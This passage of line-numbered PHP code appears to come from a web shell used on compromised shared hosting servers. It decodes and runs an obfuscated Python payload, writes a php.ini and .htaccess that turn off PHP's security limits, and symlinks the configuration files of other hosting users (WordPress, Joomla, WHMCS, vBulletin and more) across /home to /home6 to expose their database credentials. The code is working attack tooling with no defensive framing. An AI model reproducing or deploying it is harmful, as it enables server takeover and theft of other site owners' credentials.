  2102. '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';
  2103. $file = fopen("cp.py","w+");
  2104. $write = fwrite ($file , htmlspecialchars_decode(gzinflate(base64_decode($cp))));
  2105. fclose($file);
  2106. chmod("cp.py",0755);
  2107. $url = $_POST['url'];
  2108. echo"<center>
  2109. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  2110. system("python cp.py $url config");
  2111. unlink ('cp.py');
  2112. echo"</textarea>
  2113. </center>";
  2114. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:#EB4949;'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2115. exit;
  2116. }
  2117. if(isset($_POST['matikan']) =='sekatan'){
  2118. @error_reporting(0);
  2119. $phpini =
  2120. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  2121. $file = fopen("php.ini","w+");
  2122. $write = fwrite ($file ,base64_decode($phpini));
  2123. fclose($file);
  2124. $htaccess =
  2125. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  2126. $file = fopen(".htaccess","w+");
  2127. $write = fwrite ($file ,base64_decode($htaccess));
  2128. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2129. exit;
  2130. }
  2131. if(isset($_POST['mendapatkan']) == 'passwd'){
  2132. @set_magic_quotes_runtime(0);
  2133. ob_start();
  2134. error_reporting(0);
  2135. @set_time_limit(0);
  2136. @ini_set('max_execution_time',0);
  2137. @ini_set('output_buffering',0);
  2138. $fn = $_POST['foldername'];
  2139. function syml($usern,$pdomain)
  2140. {
  2141. symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2142. symlink('/home/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2143. symlink('/home/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2144. symlink('/home/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2145. symlink('/home/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2146. symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2147. symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2148. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2149. symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2150. symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2151. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2152. symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2153. symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2154. symlink('/home/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2155. symlink('/home/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2156. symlink('/home/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2157. symlink('/home/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2158. symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2159. symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2160. symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2161. symlink('/home/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2162. symlink('/home/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2163. symlink('/home/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2164. symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2165. symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2166. symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2167. symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2168. symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2169. symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2170. symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2171. symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2172. symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2173. symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2174. symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2175. symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2176. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2177. symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2178. symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2179. symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2180. symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2181. symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2182. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2183. symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2184. symlink('/home2/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2185. symlink('/home2/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2186. symlink('/home2/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2187. symlink('/home2/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2188. symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2189. symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2190. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2191. symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2192. symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2193. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2194. symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2195. symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2196. symlink('/home2/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2197. symlink('/home2/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2198. symlink('/home2/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2199. symlink('/home2/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2200. symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2201. symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2202. symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2203. symlink('/home2/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2204. symlink('/home2/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2205. symlink('/home2/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2206. symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2207. symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2208. symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2209. symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2210. symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2211. symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2212. symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2213. symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2214. symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2215. symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2216. symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2217. symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2218. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2219. symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2220. symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2221. symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2222. symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2223. symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2224. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2225. symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2226. symlink('/home3/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2227. symlink('/home3/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2228. symlink('/home3/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2229. symlink('/home3/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2230. symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2231. symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2232. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2233. symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2234. symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2235. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2236. symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2237. symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2238. symlink('/home3/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2239. symlink('/home3/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2240. symlink('/home3/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2241. symlink('/home3/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2242. symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2243. symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2244. symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2245. symlink('/home3/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2246. symlink('/home3/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2247. symlink('/home3/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2248. symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2249. symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2250. symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2251. symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2252. symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2253. symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2254. symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2255. symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2256. symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2257. symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2258. symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2259. symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2260. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2261. symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2262. symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2263. symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2264. symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2265. symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2266. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2267. symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2268. symlink('/home4/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2269. symlink('/home4/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2270. symlink('/home4/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2271. symlink('/home4/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2272. symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2273. symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2274. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2275. symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2276. symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2277. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2278. symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2279. symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2280. symlink('/home4/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2281. symlink('/home4/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2282. symlink('/home4/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2283. symlink('/home4/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2284. symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2285. symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2286. symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2287. symlink('/home4/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2288. symlink('/home4/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2289. symlink('/home4/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2290. symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2291. symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2292. symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2293. symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2294. symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2295. symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2296. symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2297. symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2298. symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2299. symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2300. symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2301. symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2302. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2303. symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2304. symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2305. symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2306. symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2307. symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2308. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2309. symlink('/home5/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2310. symlink('/home5/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2311. symlink('/home5/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2312. symlink('/home5/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2313. symlink('/home5/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2314. symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2315. symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2316. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2317. symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2318. symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2319. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2320. symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2321. symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2322. symlink('/home5/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2323. symlink('/home5/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2324. symlink('/home5/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2325. symlink('/home5/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2326. symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2327. symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2328. symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2329. symlink('/home5/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2330. symlink('/home5/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2331. symlink('/home5/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2332. symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2333. symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2334. symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2335. symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2336. symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2337. symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2338. symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2339. symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2340. symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2341. symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2342. symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2343. symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2344. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2345. symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2346. symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2347. symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2348. symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2349. symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2350. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2351. symlink('/home6/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2352. symlink('/home6/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2353. symlink('/home6/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2354. symlink('/home6/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2355. symlink('/home6/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2356. symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2357. symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2358. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2359. symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2360. symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2361. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2362. symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
